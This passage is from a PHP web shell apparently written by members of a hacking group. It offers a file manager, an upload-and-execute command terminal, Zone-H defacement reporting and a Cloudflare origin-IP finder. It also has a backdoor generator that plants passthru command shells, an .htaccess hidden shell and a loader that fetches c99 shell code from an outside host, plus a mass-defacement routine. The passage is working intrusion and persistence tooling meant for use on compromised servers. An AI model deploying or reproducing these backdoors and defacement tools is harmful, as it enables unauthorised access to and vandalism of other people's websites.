689 <td style="width:150px"><a href="?action=ff&go=perm&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $directory;?>#down" title="Edit Permission"><?php echo permsColor($entry_link); ?></a></td>
690 <td><a href="?action=ff&go=rename&file=<?php echo urlencode($directory); ?>&dir=<?php echo $path ?>&f=<?php echo $directory;?>#down" title="Rename">R</a></td>
691 <td><a href="?action=ff&go=touch&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $directory;?>#down" title="Touch">T</a></td>
692 <td><a title="Remove" href="?action=ff&dir=<?php echo $path?>&go=delete&f=<?php echo $entry_link ?>">X</a></td>
693 </tr>
694 <?php
695
696 }
697 }
698 ?>
699
700 </td>
701 </tr>
702 <?php
703
704 foreach($files_list as $file_list){
705 $entry_link=$path.$file_list;
706 $entry_link= ($entry_link);
707
708 ?><tr><td style="min-width:300px;"><?php
709 echo "<a href=\"?action=ff&go=view&file=$entry_link&dir=$path&f=$file_list#down\">$file_list</a></td>"
710 ;?>
711 <td style="width:150px"><?php echo (is_file($entry_link)?size(filesize($entry_link)):'dir');?></td>
712 <td style="min-width:300px;">
713
714 <?php echo @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $entry_link));?>
715
716 </td>
717 <td style="width:300px">
718 <?php
719
720 if(strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false){
721 $ow = @posix_getpwuid(@fileowner($entry_link));
722 } else{
723 $ow['name']="???";
724 }
725
726 if(strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false){
727 $gr = @posix_getgrgid(@filegroup($entry_link));
728 }else{
729 $gr['name']="???";
730 }
731
732 echo $ow['name']?$ow['name']:@fileowner($entry_link);
733 echo "/";
734 echo $gr['name']?$gr['name']:@filegroup($entry_link);
735
736
737 ?>
738 <td style="width:150px"><a href="?action=ff&go=perm&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $file_list;?>#down"><?php echo permsColor($entry_link); ?></a></td>
739 <td><a title="Rename" href="?action=ff&go=rename&file=<?php echo urlencode($file_list); ?>&dir=<?php echo $path ?>&f=<?php echo $file_list;?>#down">R</a></td>
740 <td><a title="Touch" href="?action=ff&go=touch&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $file_list;?>#down">T</a></td>
741 <td><a title="Edit" href="?action=ff&go=edit&file=<?php echo $entry_link ?>&dir=<?php echo $path ?>&f=<?php echo $file_list;?>#down">E</a></td>
742 <td><a title="Download" href="?action=ff&dir=<?php echo $path?>&go=download&file=<?php echo $entry_link; ?>">D</a></td>
743 <td><a title="Remove" href="?action=ff&dir=<?php echo $path?>&go=delete&f=<?php echo $entry_link ?>">X</a></td>
744
745 </tr>
746 <?php
747 }
748 ?>
749
750
751
752 </table>
753
754<a name="down"></a>
755<table style="float:left">
756<tr>
757<?php
758
759if(!is_writable($GLOBALS['path']))
760{
761echo "
762<style>
763.dir {
764background:red;
765}
766</style>
767";
768} else{
769echo "
770<style>
771.dir{
772background:#e3e3e3;
773}
774</style>
775";
776}
777
778?>
779 <hr>
780 <div class="box-box">
781 <div class="title"><h3>Upload File & Execute(CMD)</h3></div>
782 <div class="clear"></div>
783 <form action="" enctype="multipart/form-data" method="POST">
784<span>Select File: </span><input type="file" class="dir" name="userfile" style=" width: 238px;" /><input type="hidden" name="path" value="<?php echo $path ?>" /><input type="hidden" value="upload" name="type" /><input type="submit" value="Upload File" />
785</form><br><br>
786 <form action="?action=terminal&CMD=shell#down" method="post">
787<span>Terminal : </span>
788 <input onMouseOver="this.focus();" id="cmd" class="input dir" type="text" name="cmd" style=" width: 238px;" value="" />
789 <input class="inputbutn" type="submit" value="Execute" name="submitcmd" />
790
791 </form>
792 </div>
793 <div class="box-box">
794 <div class="title"><h3>File & Folder Maker</h3></div>
795 <div class="clear"></div>
796 <form action="" enctype="multipart/form-data" method="POST">
797<span>Make Folder: </span><input type="hidden" value="makefolder" name="type" /><input type="text" class="dir" name="namefolder" /><input type="submit" value="Make Folder" />
798</form>
799 <br><br>
800 <form action="" enctype="multipart/form-data" method="POST">
801<span>Make File: </span><input type="hidden" value="makefile" name="type" /><input type="text" class="dir" name="namefile" /><input type="submit" value="Make File" />
802</form>
803 </div>
804</tr>
805</table>
806
807<?php
808
809
810if(isset($_POST['type']) && $_POST['type']=="upload"){
811 if(isset($_FILES['userfile'])){
812 $upload_dir=$_POST['path'];
813 $upload_file=$upload_dir."/".basename($_FILES['userfile']['name']);
814
815 if(move_uploaded_file($_FILES['userfile']['tmp_name'],$upload_file)){
816 echo "ok";
817 header("location: ?action=explorer&dir=$path");
818 }
819
820}
821}
822
823if(isset($_POST['type']) && $_POST['type']=="makefolder"){
824
825if(isset($_POST['namefolder']) && $_POST['namefolder']!=""){
826$foldername=$path.$_POST['namefolder'];
827if(mkdir($foldername)){
828 echo "ok";
829 header("location: ?action=explorer&dir=$path");
830} else {
831 echo "can't be make folder";
832}
833} else{
834echo "enter folder name";
835}
836}
837
838if(isset($_POST['type']) && $_POST['type']=="makefile"){
839
840if(isset($_POST['namefile']) && $_POST['namefile']!=""){
841 $fn=$_POST['namefile'];
842$filename=$path.$_POST['namefile'];
843if(!file_exists($filename)){
844if(touch($filename)){
845
846$fp = fopen($filename, "w");
847if ($fp) {
848
849fclose($fp);
850header("location: ?action=ff&go=edit&file=$filename&dir=$path&f=$fn#down");
851}
852
853}
854
855 echo "ok";
856
857} else {
858 header("location: ?action=ff&go=edit&file=$filename&dir=$path&f=$fn#down");
859}
860} else{
861echo "enter file name";
862}
863}
864
865?>
866
867 </div>
868
869 <?php
870
871
872 }
873
874 if($action=="ff"){
875
876
877if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="download" && $_GET['file']!='' ){
878
879ob_end_clean();
880$_GET['file'] = urldecode($_GET['file']);
881if(is_file($_GET['file']) && is_readable($_GET['file'])) {
882ob_start("ob_gzhandler", 4096);
883
884header("Content-Disposition: attachment; filename=".basename($_GET['file']));
885if (function_exists("mime_content_type")) {
886$type = mime_content_type($_GET['file']);
887header("Content-Type: " . $type);
888} else {
889header("Content-Type: application/octet-stream");
890}
891$fp = fopen($_GET['file'], "r");
892if($fp) {
893while(!feof($fp))
894echo fread($fp, 1024);
895fclose($fp);
896}
897}exit;
898
899
900}
901ob_start();
902function info(){
903 global $path;
904echo "<ul class=\"info-file-info\">";
905$f2 = (htmlspecialchars($_GET['f']));
906$file2 = htmlspecialchars($_GET['file']);
907echo "<a href=\"?action=ff&go=rename&file=$file2&dir=$path&f=$f2#down\"><li class='active'>Name: ".htmlspecialchars($_GET['f'])."</li></a>";
908if(!is_dir($file2)){
909echo "<a href=\"?action=ff&go=view&file=$file2&dir=$path&f=$f2#down\"><li class='active'>View: ".htmlspecialchars($_GET['f'])."</li></a>";
910echo "<a href=\"?action=ff&go=highlight&file=$file2&dir=$path&f=$f2#down\"><li class='active'>Highlight: ".htmlspecialchars($_GET['f'])."</li></a>";
911echo "<a href=\"?action=ff&go=edit&file=$file2&dir=$path&f=$f2#down\"><li class='active'>Edit: ".htmlspecialchars($_GET['f'])."</li></a>";
912}
913echo "<a href=\"?action=ff&go=touch&file=$file2&dir=$path&f=$f2#down\"><li class='active'>Tuoch: ".@date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $file2))."</li></a>";
914echo "<li>Size: ".(is_file($_GET['file'])?size(filesize($_GET['file'])):'-')."</li>";
915echo "<a href=\"?action=ff&go=perm&file=$file2&dir=$path&f=$f2#down\"><li class='active'>Permissions: ".permsColor($_GET['file'])."</li></a>";
916if(strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false){
917 $ow = @posix_getpwuid(@fileowner($_GET['file']));
918 } else{
919 $ow['name']="???";
920 }
921
922 if(strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false){
923 $gr = @posix_getgrgid(@filegroup($_GET['file']));
924 }else{
925 $gr['name']="???";
926 }
927echo "<li>Owner/Group: ";
928echo $ow['name']?$ow['name']:@fileowner($_GET['file']);
929echo "/";
930echo $gr['name']?$gr['name']:@filegroup($_GET['file']);
931echo "</li>";
932echo "</ul>";
933echo "<div class=\"clear\"></div>";
934
935}
936//Coded By Mahdi.Hidden ~ Ashiyane Digital Security Team
937?>
938<div style="text-align:left">
939<?php
940info();
941?>
942<?php
943if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="rename" ){
944$f3 = htmlspecialchars($_GET['f']);
945$f4 = htmlspecialchars($_GET['file']);
946if(isset($_POST['name'])){
947 $nname=$_GET['dir'].$_POST['name'];
948 $nn=$_POST['name'];
949 $oname=$_GET['dir'].$_POST['file'];
950 if(@rename($oname,$nname)){
951 header("location: ?action=ff&go=rename&dir=$path&file=$nname&f=$nn");
952 } else {
953 echo "can't rename";
954 }
955}
956?>
957<a name="down"></a><br><span>Rename File:</span><form action="?action=ff&go=rename&dir=<?php echo htmlspecialchars($path)?>&file=<?php echo htmlspecialchars($_GET['file']);?>&f=<?php echo htmlspecialchars($_GET['f']);?>#down" method="post"><input type=text name=name value="<?php echo htmlspecialchars($_GET['f']);?>"><input type="hidden" name="file" value="<?php echo htmlspecialchars($_GET['f']);?>"><input type=submit value="Rename"></form>
958<?php
959}
960
961if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="view" && $_GET['file']!="" ){
962echo '<a name="down"></a><br><span>View File:</span><pre style="border:2px solid #CE3F3F;padding:5px;margin:0;overflow: auto;background:whitesmoke;color:black">';
963
964$fp = @fopen(($_GET['file']), 'r');
965
966if($fp) {
967while( !@feof($fp) )
968echo htmlspecialchars(@fread($fp, 1024));
969@fclose($fp);
970}
971echo '</pre>';
972
973}
974if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="highlight" && $_GET['file']!="" ){
975
976
977if( @is_readable($_GET['file']) ) {
978 echo '<a name="down"></a><br><span>View File:</span><pre style="border:2px solid #CE3F3F;padding:5px;margin:0;overflow: auto;background:whitesmoke;">';
979 $code = @highlight_file($_GET['file'],true);
980 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</pre>';
981 }
982
983}
984
985 if(isset($_GET['go']) && isset($_GET['f']) && $_GET['go']=="delete" && $_GET['f']!="" ){
986function deleteDir($path) {
987$path = (substr($path,-1)=='/') ? $path:$path.'/';
988$dh = opendir($path);
989while ( ($item = readdir($dh) ) !== false) {
990$item = $path.$item;
991if ( (basename($item) == "..") || (basename($item) == ".") )
992continue;
993$type = filetype($item);
994if ($type == "dir")
995deleteDir($item);
996else
997@unlink($item);
998}
999closedir($dh);
1000@rmdir($path);
1001}
1002if(is_dir(@$_GET['f'])){
1003deleteDir(@$_GET['f']);
1004header("location: ?action=explorer&dir=$path");
1005} else {
1006@unlink(@$_GET['f']);
1007
1008header("location: ?action=explorer&dir=$path");
1009}
1010 }
1011 if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="touch" && $_GET['file']!="" ){
1012 ?>
1013 <?php
1014
1015 ?>
1016 <a name=\"down\"></a><br><span>Touch: </span> <form action="?action=ff&go=ttouch&dir=<?php echo htmlspecialchars($path) ?>&file=<?php echo htmlspecialchars($_GET['file']);?>&f=<?php echo htmlspecialchars($_GET['f']);?>#down" method="post">
1017 <input type="hidden" name="f" value="<?php echo htmlspecialchars($_GET['file']);?>" /><input type="text" name="ttouch" value="<?php echo @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . htmlspecialchars($_GET['file']))); ?>" /><input type="submit" value="Touch" />
1018 </form>
1019 <?php
1020
1021
1022 }
1023 if(isset($_GET['go']) && isset($_POST['ttouch']) && $_GET['go']=="ttouch" && $_POST['ttouch']!="" ){
1024echo "<a name=\"down\"></a><hr><br>";
1025$f=$_POST['f'];
1026$f2=$_GET['f'];
1027$time = strtotime($_POST['ttouch']);
1028if($time) {
1029if(!touch($_POST['f'],$time,$time))
1030echo 'Fail!';
1031else
1032echo 'Touched!';header("location: ?action=ff&go=touch&dir=$path&file=$f&f=$f2");
1033
1034}
1035 }
1036 if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="perm" && $_GET['file']!="" ){
1037 ?>
1038 <a name=\"down\"></a><br><span>Change Modify: </span> <form action="?action=ff&go=chmod&file=<?php echo htmlspecialchars($_GET['file']);?>&f=<?php echo htmlspecialchars($_GET['f']); ?>&dir=<?php echo htmlspecialchars($path) ?>" method="post">
1039 <input type="hidden" name="f" value="<?php echo htmlspecialchars($_GET['file']);?>" /><input type="hidden" name="f2" value="<?php echo htmlspecialchars($_GET['f']);?>" /><input type="text" name="perm" value="<?php echo substr(sprintf('%o', fileperms(htmlspecialchars($_GET['file']))),-4);?>" /><input type="submit" value="Change Prem" />
1040 </form>
1041 <?php
1042 }
1043 if(isset($_GET['go']) && isset($_POST['f']) && $_GET['go']=="chmod" && $_POST['f']!="" ){
1044 $f=$_POST['f'];
1045 $f2=$_POST['f2'];
1046
1047if(!empty($_POST['perm']) ) {
1048$perms = 0;
1049for($i=strlen($_POST['perm'])-1;$i>=0;--$i)
1050$perms += (int)$_POST['perm'][$i]*pow(8, (strlen($_POST['perm'])-$i-1));
1051if(!@chmod($f, $perms))
1052echo '<font color="#FFFFFF"><b>Can\'t set permissions!</b></font>';
1053}
1054echo '<font color="#FFFFFF"><b>OK !</b></font>';
1055header("location: ?action=ff&go=perm&dir=$path&file=$f&f=$f2");
1056
1057
1058 }
1059
1060
1061 if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="edit" && $_GET['file']!="" ){
1062 echo "<a name=\"down\"></a>";
1063$f=htmlspecialchars($_GET['file']);
1064if( !is_writable(htmlspecialchars($_GET['file']))) {
1065echo 'File isn\'t writeable';
1066exit;
1067}
1068if(!empty($_POST['etext']) ) {
1069$time = @filemtime(htmlspecialchars($_GET['file']));
1070$_POST['text'] = substr($_POST['text'],0);
1071$fp = @fopen(htmlspecialchars($_GET['file']),"w");
1072if($fp) {
1073@fwrite($fp,$_POST['text']);
1074@fclose($fp);
1075echo 'Saved!';
1076@touch($_GET['file'],$time,$time);
1077}
1078}
1079$ff=htmlspecialchars($_GET['file']);
1080$fff=htmlspecialchars($_GET['f']);
1081echo "<br><span>Edit File: </span><form action=\"?action=ff&go=edit&file=$f&dir=$path&file=$ff&f=$fff#down\" method=\"post\"><textarea name=\"text\" style=\"width:800px;height:400px\">";
1082$fp = @fopen($_GET['file'], 'r');
1083if($fp) {
1084while( !@feof($fp) )
1085echo htmlspecialchars(@fread($fp, 1024));
1086@fclose($fp);
1087}
1088echo '</textarea><input type=submit value="Edit" name="etext"></form>';
1089 }
1090
1091
1092?>
1093
1094</div>
1095 <?php
1096
1097 }
1098
1099
1100if($action=="zoneh"){
1101 ?><br />
1102 <div class="zoneh">
1103 <center>
1104 <form action="?action=zoneh&submit=send&dir=<?php echo htmlspecialchars($path) ?>" method="post">
1105<span>Notifier: </span><input name="defacer" size="67" id="text" value="Ashiyane Digital Security Team" type="text"><br />
1106<span>Select Hack Method: </span><select name="hackmode">
1107<option value="">--------SELECT--------</option>
1108<option value="1" >known vulnerability (i.e. unpatched system)</option>
1109<option value="2" >undisclosed (new) vulnerability</option>
1110<option value="3" >configuration / admin. mistake</option>
1111<option value="4" >brute force attack</option>
1112<option value="5" >social engineering</option>
1113<option value="6" >Web Server intrusion</option>
1114<option value="7" >Web Server external module intrusion</option>
1115<option value="8" >Mail Server intrusion</option>
1116<option value="9" >FTP Server intrusion</option>
1117<option value="10" >SSH Server intrusion</option>
1118<option value="11" >Telnet Server intrusion</option>
1119<option value="12" >RPC Server intrusion</option>
1120<option value="13" >Shares misconfiguration</option>
1121<option value="14" >Other Server intrusion</option>
1122<option value="15" >SQL Injection</option>
1123<option value="16" >URL Poisoning</option>
1124<option value="17" >File Inclusion</option>
1125<option value="18" >Other Web Application bug</option>
1126<option value="19" >Remote administrative panel access through bruteforcing</option>
1127<option value="20" >Remote administrative panel access through password guessing</option>
1128<option value="21" >Remote administrative panel access through social engineering</option>
1129<option value="22" >Attack against the administrator/user (password stealing/sniffing)</option>
1130<option value="23" >Access credentials through Man In the Middle attack</option>
1131<option value="24" >Remote service password guessing</option>
1132<option value="25" >Remote service password bruteforce</option>
1133<option value="26" >Rerouting after attacking the Firewall</option>
1134<option value="27" >Rerouting after attacking the Router</option>
1135<option value="28" >DNS attack through social engineering</option>
1136<option value="29" >DNS attack through cache poisoning</option>
1137<option value="30" >Not available</option>
1138<option value="31" >Cross-Site Scripting</option>
1139</select>
1140<br />
1141<span>Select The Reason: </span><select name="reason">
1142<option value="">--------SELECT--------</option>
1143<option
1144value="1" >Heh...just for fun!</option>
1145<option value="2" >Revenge against that website</option>
1146<option value="3" >Political reasons</option>
1147<option value="4" >As a challenge</option>
1148<option value="5" >I just want to be the best defacer</option>
1149<option value="6" >Patriotism</option>
1150<option value="7" >Not available</option>
1151</select><br />
1152<textarea name="domains" cols="90" rows="20" placeholder="Domains..."></textarea>
1153<br />
1154<input type="submit" value="send" />
1155</form>
1156
1157</center>
1158<?php
1159
1160
1161if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="send") {
1162
1163$defacer= $_REQUEST['defacer'];
1164$hackmode= $_REQUEST['hackmode'];
1165$reason= $_REQUEST['reason'];
1166$domains= $_REQUEST['domains'];
1167$domains_list=explode("\n",$domains);
1168
1169if (empty($defacer))
1170{
1171die ("<center><b><font color =\"#FF0000\">You Must Fill The Notifier Name</font></b></center>");
1172}
1173elseif($hackmode == "")
1174{
1175die("<center><b><font color =\"#FF0000\">You Must Select The Method</b></font></center>");
1176}
1177elseif($reason == "")
1178{
1179die("<center><b><font color =\"#FF0000\">You Must Select The Reason</b></font></center>");
1180}
1181elseif(empty($domains))
1182{
1183die("<center><b><font color =\"#FF0000\">You Must Enter The Sites List<font></b></center>");
1184}
1185
1186
1187 for($i=0;$i<count($domains_list);$i++) {
1188
1189 if(substr($domains_list[$i], 0, 4) != "http")
1190 {
1191 $domains_list[$i] = "http://".$domains_list[$i];
1192 }
1193 $postVars=array("defacer"=>$defacer,"hackmode"=>$hackmode,"reason"=>$reason,"domain1"=>$domains_list[$i]);
1194
1195 $curl = curl_init();
1196 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
1197 curl_setopt($curl,CURLOPT_URL,'http://www.zone-h.com/notify/single');
1198 curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, FALSE);
1199 curl_setopt($curl,CURLOPT_TIMEOUT, 120);
1200 curl_setopt($curl,CURLOPT_POST,TRUE);
1201 curl_setopt($curl,CURLOPT_POSTFIELDS, $postVars);
1202 $a = curl_exec($curl);
1203 curl_close($curl);
1204}
1205 echo "<pre style=\"margin-top:5px\"><br><center><font color =\"#00A220\"><b>Sending Sites To Zone-H Has Been Completed Successfully !!!</b><font></center>";
1206
1207}
1208
1209
1210
1211?>
1212</div>
1213
1214 <?php
1215 }
1216
1217 if($action=="cloudflare"){
1218 ?>
1219 <br>
1220<center>
1221<b>Cloud Flare Bypasser</b>
1222<form action="?action=cloudflare&dir=<?php echo htmlspecialchars($path);?>" method="post">
1223<p><br><input type='text' size=30 name='url' placeholder="Site.com">
1224<input type='submit' name='submit' value='>>' />
1225</p>
1226</form>
1227</center>
1228
1229 <?php
1230
1231
1232 if(isset($_POST['submit']) && $_POST['submit'] == '>>' && isset($_POST['url']) && !empty($_POST['url'])){
1233 function is_ipv4($ip)
1234 {
1235 return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
1236 }
1237 function getipCloudFlare($url){
1238 $url = "http://www.cloudflare-watch.org/cgi-bin/cfsearch.cgi";
1239 $login_data = "cfS=$url";
1240 $login = curl_init();
1241 curl_setopt($login, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0');
1242 curl_setopt($login, CURLOPT_TIMEOUT, 40);
1243 curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);
1244 curl_setopt($login, CURLOPT_URL, $url);
1245 curl_setopt($login, CURLOPT_HEADER, 1);
1246 curl_setopt($login, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
1247 curl_setopt($login, CURLOPT_FOLLOWLOCATION, 1);
1248 curl_setopt($login, CURLOPT_POST, 1);
1249 curl_setopt($login, CURLOPT_POSTFIELDS, $login_data);
1250 $content= curl_exec($login);
1251 if (preg_match("/<UL><LI>(.*?)<\/UL>/",$content,$find)){
1252 return $find[1];
1253 }
1254 else {
1255 return 'Error';
1256 }
1257 curl_close($login);
1258 }
1259 $me = $argv[0];
1260 $url = $_POST['url'];
1261 if(!preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url)){
1262 $url = preg_replace('/^(https?):\/\//', '', $url);
1263 $url = "http://www.".$url;
1264 }
1265 $headers = get_headers($url, 1);
1266 $server = $headers['Server'];
1267 $subs = array('cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.', 'ns1.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.', 'dns.', 'help.', 'blog.', 'irc.', 'forum.');
1268 $count = count($subs);
1269 if(preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url, $matches))
1270 {
1271 if($matches[2] != 'www')
1272 {
1273 $url = preg_replace('/^(https?):\/\//', '', $url);
1274 }
1275 else
1276 {
1277 $url = explode($matches[0], $url);
1278 $url = $url[1];
1279 }
1280 }
1281 if(is_array($server))
1282 $server = $server[0];
1283 echo '<pre style="border:2px solid #CE3F3F;padding:5px;margin:0;overflow: auto;"><br/>';
1284 if(preg_match('/cloudflare/i', $server))
1285 echo "\n[+] CloudFlare detected: {$server}\n<br>";
1286 else
1287 echo "\n[+] CloudFlare wasn't detected, proceeding anyway.\n";
1288 echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "\n\n<br><br>";
1289 echo "[+] Searching for more IP addresses.\n\n<br><br>";
1290 for($x = 0; $x < $count; $x++)
1291 {
1292 $site = $subs[$x] . $url;
1293 $ip = is_ipv4(gethostbyname($site));
1294 if($ip == '(Null)')
1295 continue;
1296 echo "Trying {$site}: {$ip}\n<br>";
1297 }
1298 echo "\n[+] Finished.\n<br>";
1299 }
1300 }
1301
1302 if($action=="backdoor"){
1303 echo "<style>#backdoor{background: #A81F1F}</style>";
1304
1305 ?>
1306
1307
1308
1309
1310<br />
1311<div class="body">
1312
1313<?php
1314
1315$list = '<ul class="backdoor">';
1316
1317if ( !isset($_GET["bd"]) || $_GET["bd"]!=="up" )
1318{
1319 $list .= "<a href=\"?action=backdoor&bd=up&dir=$path\"><li>Upload From Computer Backdoors</li></a>";
1320} else {
1321 $list .= '<li><span>Upload From Computer Backdoors</span></li>';
1322}
1323
1324if( !isset($_GET["bd"]) || $_GET["bd"]!=="ur" )
1325{
1326 $list .= "<a href=\"?action=backdoor&bd=ur&dir=$path\"><li>Upload From URL Backdoors</li></a>";
1327} else {
1328 $list .= '<li><span>Upload From URL Backdoors</span></li>';
1329}
1330
1331if( !isset($_GET["bd"]) || $_GET["bd"]!=="ht" )
1332{
1333 $list .= "<a href=\"?action=backdoor&bd=ht&dir=$path\"><li>htaccess Hidden Shell Backdoor</li></a>";
1334} else {
1335 $list .= '<li><span>htaccess Hidden Shell Backdoor</span></li>';
1336}
1337
1338if ( !isset($_GET["bd"]) || $_GET["bd"]!=="cs" )
1339{
1340 $list .= "<a href=\"?action=backdoor&bd=cs&dir=$path\"><li>CMD shell Backdoor</li></a>";
1341} else {
1342 $list .= '<li><span>CMD shell Backdoor</span></li>';
1343}
1344
1345echo $list.'</ul>';
1346
1347?>
1348
1349<hr />
1350<br />
1351<?php
1352
1353if(isset($_GET["bd"])){
1354
1355 $bd = $_GET["bd"];
1356
1357 if($bd=="up"){
1358
1359 echo "<form method=\"post\" action=\"?action=backdoor&submit=get&go=up&dir=$path\"><span>Enter Filename create backdoor: </span><br /><input type=\"text\" name=\"filename\"><input type=\"submit\" value=\"Get Backdoor\"></form>";
1360 ?>
1361<br />
1362<b><span>Note: This Just Make an uploader not hidden.</span></b>
1363<?php
1364 }
1365
1366 if($bd=="ur"){
1367
1368 echo "<form method=\"post\" action=\"?action=backdoor&submit=get&go=ur&dir=$path\"><span>Enter Filename to add backdoor: </span><br /><input type=\"text\" name=\"filename\"><input type=\"submit\" value=\"Get Backdoor\"></form>";
1369 ?>
1370<br />
1371<b><span>How to use ?</span></b>
1372<p>to use : "site.com/[path]/[file].php?cmd=shell"</p>
1373<?php
1374
1375 }
1376 if($bd=="cs"){
1377
1378 echo "<form method=\"post\" action=\"?action=backdoor&submit=get&go=cs&dir=$path\"><span>Enter Filename to add backdoor: </span><br /><input type=\"text\" name=\"filename\"><input type=\"submit\" value=\"Get Backdoor\"></form>";
1379 ?>
1380<br />
1381<b><span>How to use ?</span></b>
1382<p>to use : "site.com/[path]/[file].php?cmd=[command]"</p>
1383<?php
1384 }
1385
1386
1387
1388 if($bd=="ht"){
1389
1390
1391 echo "<form method=\"post\" action=\"?action=backdoor&submit=get&go=ht&dir=$path\"><input type=\"submit\" value=\"Get htaccess Backdoor\"></form>";
1392
1393 ?>
1394<br />
1395<b><span>How to use ?</span></b>
1396<p>to use : "site.com/[path]/.htaccess?cmd=[command]"</p>
1397<?php
1398
1399 }
1400
1401
1402
1403
1404}
1405
1406if(isset($_GET["action"]) && $_GET["action"]=="backdoor" && isset($_GET["submit"])=="get" && isset($_GET["go"]) && $_GET["go"]!=""){
1407
1408 $action=htmlspecialchars($_GET["go"]);
1409
1410
1411 if($action=="up"){
1412
1413 $code='<?php
1414if (isset($_FILES["userfile"])) {
1415$dir=$_POST["dir"];
1416if($dir == "" || !isset($dir)) $dir=getcwd();
1417
1418
1419$uploadfile=$dir."/".basename($_FILES["userfile"]["name"]);
1420
1421if (move_uploaded_file($_FILES["userfile"]["tmp_name"],$uploadfile)) {
1422echo "Uploaded: ".
1423"Name: ".$_FILES["userfile"]["name"]."<br>\n".
1424"Type: ".$_FILES["userfile"]["type"]."<br>\n".
1425"Size: ".$_FILES["userfile"]["size"]." bytes<br>\n";
1426}
1427else print "Error uploading file: ".$_FILES["userfile"]["name"]."";
1428echo "<hr>";
1429}
1430?>
1431
1432<form enctype="multipart/form-data" method="POST">
1433Upload New File
1434<br /><input type="file" name="userfile"/>
1435<br /><input type="submit" value="Upload"/>
1436</form>';
1437 $filename = htmlspecialchars($_POST["filename"]);
1438
1439 $fp=fopen($filename,'a');
1440 $res = fwrite($fp , $code);
1441 fclose($fp);
1442
1443 if($res){
1444
1445 echo "<span style='color:green'>ok</span>";
1446 }else{
1447 echo "<span style='color:red'>cant write</span>";
1448 }
1449 }
1450
1451 if($action=="ur"){
1452
1453 $code = '<?php
1454//Code By Mahdi.Hidden ~ Ashiyane Digital Security Team
1455if(isset($_GET["cmd"]) && $_GET["cmd"]=="shell"){
1456if(file_put_contents("shell.php", file_get_contents("http://www.sh3ll.org/c99.txt"))){
1457echo "OK";
1458} else {
1459echo "File Cant Be Create";
1460}
1461}
1462//Code By Mahdi.Hidden ~ Ashiyane Digital Security Team
1463?>';
1464 $filename = htmlspecialchars($_POST["filename"]);
1465
1466
1467 $fp=fopen($filename,'a');
1468 $res = fwrite($fp , $code);
1469 fclose($fp);
1470
1471 if($res){
1472
1473 echo "<span style='color:green'>ok</span>";
1474 }else{
1475 echo "<span style='color:red'>cant be write</span>";
1476 }
1477 }
1478
1479 if($action=="ht"){
1480
1481 $code = '<Files ~ "^\.ht">
1482Order allow,deny
1483Allow from all
1484</Files>
1485AddType application/x-httpd-php .htaccess
1486# <?php passthru($_GET["cmd"]); ?>';
1487
1488 $filename = ".htaccess";
1489 $fp=fopen($filename,'a');
1490 $res = fwrite($fp , $code);
1491 fclose($fp);
1492
1493 if($res){
1494
1495 echo "<span style='color:green'>ok</span>";
1496 }else{
1497 echo "<span style='color:red'>cant be write</span>";
1498 }
1499
1500
1501
1502
1503 }
1504 if($action=="cs"){
1505
1506 $code = '<?php passthru($_GET["cmd"]); ?>';
1507
1508 $filename = htmlspecialchars($_POST["filename"]);
1509 $fp=fopen($filename,'a');
1510 $res = fwrite($fp , $code);
1511 fclose($fp);
1512
1513 if($res){
1514
1515 echo "<span style='color:green'>ok</span>";
1516 }else{
1517 echo "<span style='color:red'>cant be write</span>";
1518 }
1519
1520 }
1521
1522}
1523
1524
1525
1526
1527
1528?>
1529</div>
1530
1531 <?php
1532 }
1533
1534 if($action=="mass"){
1535 ?>
1536
1537<br />
1538
1539Mass Defacement:</td><br>
1540<form action='?action=mass&submit=mass&dir=<?php echo $path ?>' method='post'>
1541Directory: <input type='text' style='width: 700px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'>
1542<br/>Url Deface Deface Page <input type='text' style='width: 675px' name='massdefaceurl' value=''>
1543<br/>Name File <input type='text' style='width: 735px' name='filename' value='mahdi.hidden.html'>
1544<input type='submit' name='execmassdeface' value='Kill It'></form></td>
1545
1546 <?php
1547
1548if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="mass"){
1549echo "<br><span style='margin-left:0px'>Results: </span><br><center><textarea placeholder='Results will be here..' rows='15' cols='100'>";
1550$defaceurl = htmlspecialchars($_POST['massdefaceurl']);
1551$dir = htmlspecialchars($_POST['massdefacedir']);
1552$filename = htmlspecialchars($_POST['filename']);
1553echo $dir."\n";
1554if (is_dir($dir)) {
1555if ($dh = opendir($dir)) {
1556while (($file = readdir($dh)) !== false) {
1557if(filetype($dir.$file)=="dir"){
1558$newfile=$dir.$file."/".$filename;
1559echo $newfile."\n";
1560if (!copy($defaceurl, $newfile)) {
1561echo "failed to copy $file...\n";
1562}
1563}
1564}
1565closedir($dh);
1566}
1567}
